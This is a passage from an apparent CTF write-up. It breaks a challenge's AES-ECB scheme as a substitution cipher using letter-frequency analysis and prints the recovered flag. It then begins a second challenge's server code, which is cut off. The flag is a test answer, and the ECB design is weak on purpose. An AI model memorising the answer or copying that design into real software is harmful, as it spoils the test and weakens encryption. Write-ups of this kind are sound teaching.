&lt;p>In this mode, identical plaintext blocks will be encrypted to identical ciphertext blocks, making it vulnerable to attacks that exploit patterns in the plaintext. Therefore, ECB mode is not recommended for secure communication, and other modes like CBC, CTR, or GCM are preferred. A visualized example is illustrated in &lt;a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation" target="_blank" rel="noopener">this wiki&lt;/a> to show that AES-ECB mode is not semantically secure.&lt;/p>
&lt;h4 id="conclusion">Conclusion&lt;/h4>
&lt;p>By the above analysis, we can prove that:&lt;/p>
&lt;p>For every $c_A, c_B \in \text{message}$: $c_A = c_B \Leftrightarrow ECB(c_A + \text{salt}) = ECB(c_B + \text{salt})$&lt;/p>
&lt;p>This means the encryption is just a substitution cipher.&lt;/p>
&lt;h3 id="solution-method">Solution method&lt;/h3>
&lt;p>For simplicity in frequency analyzing, I map every different hex strings in the output file to a character (A-Z, 1-4), noted that identical strings would produce identical characters. By comparing to English Letter Frequency (including space character) table, we may recover some common letters like e, t, i, a, o confidentally. Then, by the reduncancy and meaning of English words, I can recover the entire content and find the flag.&lt;/p>
&lt;h3 id="results">Results&lt;/h3>
&lt;p>After the mapping, here is the encrypted message:&lt;/p>
&lt;p>&lt;code>ABCDECFGHIJFJKHLMLIMLINJLCOIPFIQRCIAJGQIQRJQIMFIJFHISMTCFILQBCQGRIPAIVBMQQCFIKJFSEJSCIGCBQJMFIKCQQCBLIJFOIGPUNMFJQMPFLIPAIKCQQCBLIPGGEBIVMQRITJBHMFSIABCDECFGMCLIUPBCPTCBIQRCBCIMLIJIGRJBJGQCBMLQMGIOMLQBMNEQMPFIPAIKCQQCBLIQRJQIMLIBPESRKHIQRCILJUCIAPBIJKUPLQIJKKILJUWKCLIPAIQRJQIKJFSEJSCIMFIGBHWQJFJKHLMLIABCDECFGHIJFJKHLMLIJKLPIXFPVFIJLIGPEFQMFSIKCQQCBLIMLIQRCILQEOHIPAIQRCIABCDECFGHIPAIKCQQCBLIPBISBPEWLIPAIKCQQCBLIMFIJIGMWRCBQCYQIQRCIUCQRPOIMLIELCOIJLIJFIJMOIQPINBCJXMFSIGKJLLMGJKIGMWRCBLIABCDECFGHIJFJKHLMLIBCDEMBCLIPFKHIJINJLMGIEFOCBLQJFOMFSIPAIQRCILQJQMLQMGLIPAIQRCIWKJMFQCYQIKJFSEJSCIJFOILPUCIWBPNKCUILPKTMFSILXMKKLIJFOIMAIWCBAPBUCOINHIRJFOIQPKCBJFGCIAPBICYQCFLMTCIKCQQCBINPPXXCCWMFSIOEBMFSIVPBKOIVJBIMMINPQRIQRCINBMQMLRIJFOIQRCIJUCBMGJFLIBCGBEMQCOIGPOCNBCJXCBLINHIWKJGMFSIGBPLLVPBOIWEZZKCLIMFIUJ1PBIFCVLWJWCBLIJFOIBEFFMFSIGPFQCLQLIAPBIVRPIGPEKOILPKTCIQRCUIQRCIAJLQCLQILCTCBJKIPAIQRCIGMWRCBLIELCOINHIQRCIJYMLIWPVCBLIVCBCINBCJXJNKCIELMFSIABCDECFGHIJFJKHLMLIAPBICYJUWKCILPUCIPAIQRCIGPFLEKJBIGMWRCBLIELCOINHIQRCI1JWJFCLCIUCGRJFMGJKIUCQRPOLIPAIKCQQCBIGPEFQMFSIJFOILQJQMLQMGJKIJFJKHLMLISCFCBJKKHIRQN2J3LMUWKC3LENLQMQEQMPF3ML3VCJX4IGJBOIQHWCIUJGRMFCBHIVCBCIAMBLQIELCOIMFIVPBKOIVJBIMMIWPLLMNKHINHIQRCIELIJBUHLILMLIQPOJHIQRCIRJBOIVPBXIPAIKCQQCBIGPEFQMFSIJFOIJFJKHLMLIRJLINCCFIBCWKJGCOINHIGPUWEQCBILPAQVJBCIVRMGRIGJFIGJBBHIPEQILEGRIJFJKHLMLIMFILCGPFOLIVMQRIUPOCBFIGPUWEQMFSIWPVCBIGKJLLMGJKIGMWRCBLIJBCIEFKMXCKHIQPIWBPTMOCIJFHIBCJKIWBPQCGQMPFIAPBIGPFAMOCFQMJKIOJQJIWEZZKCIWEZZKCIWEZZKC&lt;/code>&lt;/p>
&lt;p>Plotting the histogram of this encrypted message, comparing with the expected frequency, we get:&lt;/p>
&lt;img src='histogram.png' alt="Histogram" width="1000"/>
&lt;p>Here is the script, if you&amp;rsquo;re interested in:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">matplotlib.pyplot&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="nn">plt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">plot_histogram&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">text&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">english_freq&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;space&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.18316895740067898&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;e&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.10266650309881365&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;t&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.07516918822929543&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;a&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0653211522431101&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;o&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.06165021261170107&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;i&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.06109938076429621&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;n&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.05748993391266301&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;s&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0558094607431706&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;r&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.05501226388301501&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;h&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0418265243918537&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;l&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.03203162615518401&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;d&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.03123691335535358&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;u&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.02074798285524714&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;c&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.020576050425919314&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;m&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.019830666456506605&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;f&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.016535714836861396&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;w&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.015818636195592536&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;g&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.014126275726274115&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;p&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.01318902368984632&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;y&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.012614330285168858&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;b&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.010748157780246267&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;v&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.007961080746834234&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;k&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.005609987561400249&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;x&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0012367402118007968&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;j&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0010975645567653538&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;q&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0010065039671926798&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;z&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0005273232293542625&lt;/span>&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">char_dict&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">char&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">char&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">char_dict&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">char_dict&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">char&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">char_dict&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">char&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">key&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">char_dict&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">char_dict&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">/=&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">text&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># char_dict[key] *= 100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">char_dict&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">dict&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">sorted&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">char_dict&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">items&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">key&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="k">lambda&lt;/span> &lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">x&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">reverse&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># plt.bar(char_dict.keys(), char_dict.values())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fig&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ax1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ax2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">plt&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">subplots&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">nrows&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ncols&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Plot the first subplot&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">char_dict&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">keys&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">char_dict&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">values&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">set_xlabel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Encrypted message&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">set_ylabel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Frequency (%)&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Plot the second subplot&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">english_freq&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">keys&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">english_freq&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">values&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">set_xlabel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;English&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">set_ylabel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Frequency (%)&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">plt&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">show&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Based on the charts, we can easily find that letter &lt;code>I&lt;/code>, &lt;code>C&lt;/code> in encrypted message must be &lt;code>space&lt;/code> and &lt;code>e&lt;/code> in English, respectively. I guess there must be one and only one pair &lt;code>{}&lt;/code> in the message for the flag &lt;code>HTB{...}&lt;/code>. In the above chart, letter &lt;code>2&lt;/code> and &lt;code>4&lt;/code> share the smallest frequency, so they must be &lt;code>{&lt;/code> and &lt;code>}&lt;/code>. Moreover, the 3 characters immediately preceding &lt;code>{&lt;/code> must be &lt;code>htb&lt;/code>. After that, we got:&lt;/p>
&lt;p>&lt;code>ABeDEeFGH JFJKHLML ML bJLeO PF the AJGt thJt MF JFH SMTeF LtBetGh PA VBMtteF KJFSEJSe GeBtJMF KetteBL JFO GPUbMFJtMPFL PA KetteBL PGGEB VMth TJBHMFS ABeDEeFGMeL UPBePTeB theBe ML J GhJBJGteBMLtMG OMLtBMbEtMPF PA KetteBL thJt ML BPEShKH the LJUe APB JKUPLt JKK LJUWKeL PA thJt KJFSEJSe MF GBHWtJFJKHLML ABeDEeFGH JFJKHLML JKLP XFPVF JL GPEFtMFS KetteBL ML the LtEOH PA the ABeDEeFGH PA KetteBL PB SBPEWL PA KetteBL MF J GMWheBteYt the UethPO ML ELeO JL JF JMO tP bBeJXMFS GKJLLMGJK GMWheBL ABeDEeFGH JFJKHLML BeDEMBeL PFKH J bJLMG EFOeBLtJFOMFS PA the LtJtMLtMGL PA the WKJMFteYt KJFSEJSe JFO LPUe WBPbKeU LPKTMFS LXMKKL JFO MA WeBAPBUeO bH hJFO tPKeBJFGe APB eYteFLMTe KetteB bPPXXeeWMFS OEBMFS VPBKO VJB MM bPth the bBMtMLh JFO the JUeBMGJFL BeGBEMteO GPOebBeJXeBL bH WKJGMFS GBPLLVPBO WEZZKeL MF UJ1PB FeVLWJWeBL JFO BEFFMFS GPFteLtL APB VhP GPEKO LPKTe theU the AJLteLt LeTeBJK PA the GMWheBL ELeO bH the JYML WPVeBL VeBe bBeJXJbKe ELMFS ABeDEeFGH JFJKHLML APB eYJUWKe LPUe PA the GPFLEKJB GMWheBL ELeO bH the 1JWJFeLe UeGhJFMGJK UethPOL PA KetteB GPEFtMFS JFO LtJtMLtMGJK JFJKHLML SeFeBJKKH htb{J3LMUWKe3LEbLtMtEtMPF3ML3VeJX} GJBO tHWe UJGhMFeBH VeBe AMBLt ELeO MF VPBKO VJB MM WPLLMbKH bH the EL JBUHL LML tPOJH the hJBO VPBX PA KetteB GPEFtMFS JFO JFJKHLML hJL beeF BeWKJGeO bH GPUWEteB LPAtVJBe VhMGh GJF GJBBH PEt LEGh JFJKHLML MF LeGPFOL VMth UPOeBF GPUWEtMFS WPVeB GKJLLMGJK GMWheBL JBe EFKMXeKH tP WBPTMOe JFH BeJK WBPteGtMPF APB GPFAMOeFtMJK OJtJ WEZZKe WEZZKe WEZZKe&lt;/code>&lt;/p>
&lt;p>The remaining task is to guess the words based on their meanings. Here is the result:&lt;/p>
&lt;p>&lt;code>frequency analysis is based on the fact that in any giTen stretch of written language certain letters and combinations of letters occur with Tarying frequencies moreoTer there is a characteristic distribution of letters that is roughly the same for almost all samples of that language in cryptanalysis frequency analysis also tnown as counting letters is the study of the frequency of letters or groups of letters in a cipherteYt the method is used as an aid to breating classical ciphers frequency analysis requires only a basic understanding of the statistics of the plainteYt language and some problem solTing stills and if performed by hand tolerance for eYtensiTe letter bootteeping during world war ii both the british and the americans recruited codebreaters by placing crossword puZZles in ma1or newspapers and running contests for who could solTe them the fastest seTeral of the ciphers used by the aYis powers were breatable using frequency analysis for eYample some of the consular ciphers used by the 1apanese mechanical methods of letter counting and statistical analysis generally htb{a_simple_substitution_is_weat} card type machinery were first used in world war ii possibly by the us armys sis today the hard wort of letter counting and analysis has been replaced by computer software which can carry out such analysis in seconds with modern computing power classical ciphers are unlitely to proTide any real protection for confidential data puZZle puZZle puZZle&lt;/code>&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{a_simple_substitution_is_weat}&lt;/strong>&lt;/p>
&lt;h3 id="conclusion-1">Conclusion&lt;/h3>
&lt;p>This challenge is just a substitution cipher, which is totally insecure against frequency analysis. The &lt;code>random key&lt;/code>, &lt;code>salt&lt;/code>, &lt;code>AES-ECB&lt;/code> is just to make colors :D.&lt;/p>
&lt;h2 id="multipage-recyclings">Multipage Recyclings&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1w-n16tVbL_eG-8XOvoMPJcfAEWQwxq-5/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As your investigation progressed, a clue led you to a local bar where you met an undercover agent with valuable information. He spoke of a famous astronomy scientist who lived in the area and extensively studied the relic. The scientist wrote a book containing valuable insights on the relic&amp;rsquo;s location, but encrypted it before he disappeared to keep it safe from malicious intent. The old man disclosed that the book was hidden in the scientist&amp;rsquo;s house and revealed two phrases that the scientist rambled about before vanishing.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The server script is shown below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">random&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;HTB{??????????????????????}&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">CAES&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_ECB&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">blockify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">message&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">)]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">xor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="nb">bytes&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">_a&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="n">_b&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">_a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_b&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">zip&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">)])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">message&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">plaintext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">iv&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">blocks&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">blockify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">block&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">blocks&lt;/span>&lt;span class="p">:&lt;/span>
